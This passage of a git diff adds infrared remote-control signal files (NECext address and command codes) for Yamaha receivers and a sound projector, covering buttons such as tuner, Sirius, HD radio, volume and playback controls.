00 00 +# +name: SRCE:_Z4_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BF 00 00 00 +# +name: Z4_SOURCE:_MODE_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BF 00 00 00 +# +name: Z4_SOURCE:_MODE_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: BF 00 00 00 +# +name: SRCE:_Z4_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C0 00 00 00 +# +name: Z4_SOURCE:_MODE_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C0 00 00 00 +# +name: Z4_SOURCE:_MODE_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C0 00 00 00 +# +name: SRCE:_Z4_CURS_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C1 00 00 00 +# +name: Z4_SOURCE:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C1 00 00 00 +# +name: Z4_SOURCE:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C1 00 00 00 +# +name: SRCE:_Z4_CURS_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C2 00 00 00 +# +name: Z4_SOURCE:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C2 00 00 00 +# +name: Z4_SOURCE:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C2 00 00 00 +# +name: SRCE:_Z4_CURS_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C3 00 00 00 +# +name: Z4_SOURCE:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C3 00 00 00 +# +name: Z4_SOURCE:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C3 00 00 00 +# +name: SRCE:_Z4_CURS_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C4 00 00 00 +# +name: Z4_SOURCE:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C4 00 00 00 +# +name: Z4_SOURCE:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C4 00 00 00 +# +name: SRCE:_Z4_CURS_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C5 00 00 00 +# +name: Z4_SOURCE:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C5 00 00 00 +# +name: Z4_SOURCE:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C5 00 00 00 +# +name: NETUSB:_Z4_PC/MC +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C6 00 00 00 +# +name: DOCK:_Z4_PAUSE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C7 00 00 00 +# +name: Z4_SOURCE:_OP_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C7 00 00 00 +# +name: Z4_SOURCE:_OP_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C7 00 00 00 +# +name: DOCK:_Z4_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C8 00 00 00 +# +name: NETUSB:_Z4_PLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C8 00 00 00 +# +name: Z4_SOURCE:_OP_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C8 00 00 00 +# +name: Z4_SOURCE:_OP_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C8 00 00 00 +# +name: DOCK:_Z4_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C9 00 00 00 +# +name: NETUSB:_Z4_STOP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C9 00 00 00 +# +name: Z4_SOURCE:_OP_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C9 00 00 00 +# +name: Z4_SOURCE:_OP_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: C9 00 00 00 +# +name: DOCK:_Z4_REW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CA 00 00 00 +# +name: NETUSB:_Z4_NRADIO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CA 00 00 00 +# +name: Z4_SOURCE:_OP_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CA 00 00 00 +# +name: Z4_SOURCE:_OP_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CA 00 00 00 +# +name: DOCK:_Z4_FF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CB 00 00 00 +# +name: NETUSB:_Z4_USB +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CB 00 00 00 +# +name: Z4_SOURCE:_OP_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CB 00 00 00 +# +name: Z4_SOURCE:_OP_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CB 00 00 00 +# +name: DOCK:_Z4_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CC 00 00 00 +# +name: HDRADIO:_Z4_PROG_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CC 00 00 00 +# +name: NETUSB:_Z4_SKIP_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CC 00 00 00 +# +name: Z4_SOURCE:_OP_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CC 00 00 00 +# +name: Z4_SOURCE:_OP_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CC 00 00 00 +# +name: DOCK:_Z4_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CD 00 00 00 +# +name: HDRADIO:_Z4_PROG+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CD 00 00 00 +# +name: NETUSB:_Z4_SKIP_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CD 00 00 00 +# +name: Z4_SOURCE:_OP_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CD 00 00 00 +# +name: Z4_SOURCE:_OP_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CD 00 00 00 +# +name: Z4_SOURCE:_OP_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CE 00 00 00 +# +name: Z4_SOURCE:_OP_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: CE 00 00 00 +# +name: SIRIUS_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D0 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D1 00 00 00 +# +name: SIRIUS_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D1 00 00 00 +# +name: SIRIUS:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D1 00 00 00 +# +name: SIRIUS_NUM_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D1 00 00 00 +# +name: SIRIUS:_1 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D1 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D2 00 00 00 +# +name: SIRIUS_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D2 00 00 00 +# +name: SIRIUS:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D2 00 00 00 +# +name: SIRIUS_NUM_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D2 00 00 00 +# +name: SIRIUS:_2 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D2 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D3 00 00 00 +# +name: SIRIUS_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D3 00 00 00 +# +name: SIRIUS:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D3 00 00 00 +# +name: SIRIUS_NUM_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D3 00 00 00 +# +name: SIRIUS:_3 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D3 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D4 00 00 00 +# +name: SIRIUS_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D4 00 00 00 +# +name: SIRIUS:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D4 00 00 00 +# +name: SIRIUS_NUM_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D4 00 00 00 +# +name: SIRIUS:_4 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D5 00 00 00 +# +name: SIRIUS_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D5 00 00 00 +# +name: SIRIUS:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D5 00 00 00 +# +name: SIRIUS_NUM_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D5 00 00 00 +# +name: SIRIUS:_5 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D6 00 00 00 +# +name: SIRIUS_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D6 00 00 00 +# +name: SIRIUS:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D6 00 00 00 +# +name: SIRIUS_NUM_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D6 00 00 00 +# +name: SIRIUS:_6 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D6 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D7 00 00 00 +# +name: SIRIUS_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D7 00 00 00 +# +name: SIRIUS:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D7 00 00 00 +# +name: SIRIUS_NUM_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D7 00 00 00 +# +name: SIRIUS:_7 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D7 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D8 00 00 00 +# +name: SIRIUS_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D8 00 00 00 +# +name: SIRIUS:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D8 00 00 00 +# +name: SIRIUS_NUM_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D8 00 00 00 +# +name: SIRIUS:_8 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D8 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D9 00 00 00 +# +name: SIRIUS_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D9 00 00 00 +# +name: SIRIUS:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D9 00 00 00 +# +name: SIRIUS_NUM_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D9 00 00 00 +# +name: SIRIUS:_9 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: D9 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DA 00 00 00 +# +name: SIRIUS:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DA 00 00 00 +# +name: SIRIUS_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DA 00 00 00 +# +name: SIRIUS_NUM_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DA 00 00 00 +# +name: SIRIUS:_0 +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DA 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DC 00 00 00 +# +name: SIRIUS_ENT_NO_INPUT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DC 00 00 00 +# +name: SIRIUS:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DC 00 00 00 +# +name: SIRIUS_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DC 00 00 00 +# +name: SIRIUS_NUM_ENT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DC 00 00 00 +# +name: SIRIUS_SEARCH_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DE 00 00 00 +# +name: SIRIUS:SEARCH_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DE 00 00 00 +# +name: SIRIUS_SRCH_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DE 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DF 00 00 00 +# +name: SIRIUS_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DF 00 00 00 +# +name: SIRIUS:_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DF 00 00 00 +# +name: SIRIUS:_MEMORY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: DF 00 00 00 +# +name: SIRIUS_DISPLAY +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E0 00 00 00 +# +name: NAV_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: SIRIUS_PRESET_CH_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: SIRIUS:CH/PRESET_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: SIRIUS_CURSOR_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: SIRIUS_CH/PR_NO_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: SIRIUS:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: SIRIUS:_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E1 00 00 00 +# +name: NAV_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: SIRIUS_CATEGORY_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: SIRIU:CAT/PST_GRP_DN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: SIRIUS_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: SIRIUS_CAT/PR_GRP_DN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: SIRIUS:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: SIRIUS:_LEFT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E2 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E3 00 00 00 +# +name: SIRIUS_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E3 00 00 00 +# +name: SIRIUS_SETUP:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E3 00 00 00 +# +name: SIRIUS_SETUP:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E3 00 00 00 +# +name: SIRIUS:_ENTER +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E3 00 00 00 +# +name: NAV_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: SIRIUS_CATEGORY_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: SIRIU:CAT/PST_GRP_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: SIRIUS_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: SIRIUS_CAT/PR_GRP_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: SIRIUS:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: SIRIUS:_RIGHT +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E4 00 00 00 +# +name: NAV_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: SIRIUS_PRESET_CH_DW +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: SIRIUS:CH/PRESET_DWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: SIRIUS_CURSOR_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: SIRIUS_CH/PR_NO_DN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: SIRIUS:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: SIRIUS:_DOWN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: E5 00 00 00 +# +name: SIRIUS_INFO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: EA 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: EA 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F0 00 00 00 +# +name: HDRADIO:_PRESET_A +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F0 00 00 00 +# +name: HD_RADIO:_A +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F0 00 00 00 +# +name: HD_RADIO:_A +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F0 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F1 00 00 00 +# +name: HDRADIO:_PRESET_B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F1 00 00 00 +# +name: HD_RADIO:_B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F1 00 00 00 +# +name: HD_RADIO:_B +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F1 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F2 00 00 00 +# +name: HDRADIO:_PRESET_C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F2 00 00 00 +# +name: HD_RADIO:_C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F2 00 00 00 +# +name: HD_RADIO:_C +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F2 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F3 00 00 00 +# +name: HDRADIO:_PRESET_D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F3 00 00 00 +# +name: HD_RADIO:_D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F3 00 00 00 +# +name: HD_RADIO:_D +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F3 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F4 00 00 00 +# +name: HDRADIO:_PRESET_E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F4 00 00 00 +# +name: HD_RADIO:_E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F4 00 00 00 +# +name: HD_RADIO:_E +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F4 00 00 00 +# +name: INP_AM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F5 00 00 00 +# +name: HDRADIO:_AM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F5 00 00 00 +# +name: INP_FM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F6 00 00 00 +# +name: HDRADIO:_FM +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F6 00 00 00 +# +name: AUTO_TUNE_- +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F7 00 00 00 +# +name: HDRADIO:_AUTO_DN +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F7 00 00 00 +# +name: AUTO_TUNE_+ +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F8 00 00 00 +# +name: HDRADIO:_AUTO_UP +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: F8 00 00 00 +# +name: DISPLAY_ON +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FB 00 00 00 +# +name: DISPLAY_OFF +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FC 00 00 00 +# +name: SRCH_MODE_PRESET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FD 00 00 00 +# +name: TUNER:_SEARCH_PRESET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FD 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FD 00 00 00 +# +name: TUNER_MODE_PRESET +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FD 00 00 00 +# +name: TUNER_SRCH_MODE_PRES +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FD 00 00 00 +# +name: TUNER:_PRES_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FD 00 00 00 +# +name: SRCH_MODE_TUNING +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FE 00 00 00 +# +name: TUNER:_SEARCH_MANUAL +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FE 00 00 00 +# +name: TUNER_MODE_MANUAL +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FE 00 00 00 +# +name: TUNER_SRCH_MODE_MANU +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FE 00 00 00 +# +name: TUNER:_MANL_MODE +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FE 00 00 00 +# +name: TUNER:_SEARCH_AUTO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FF 00 00 00 +# +name: TUNER_MODE_AUTO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FF 00 00 00 +# +name: TUNER_SRCH_MODE_AUTO +type: parsed +protocol: NECext +address: 7F 01 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir new file mode 100644 index 000000000..5bde1f898 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir new file mode 100644 index 000000000..2484d174c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 11 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 13 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 14 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir new file mode 100644 index 000000000..a4f5487ce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 78 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir new file mode 100644 index 000000000..4663a69f8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 6C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 6D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir new file mode 100644 index 000000000..87ddfa4f4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir new file mode 100644 index 000000000..22a1d5c79 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir @@ -0,0 +1,1514 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_TOG +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 0F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 10 00 00 00 +# +name: FM/XM:_0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 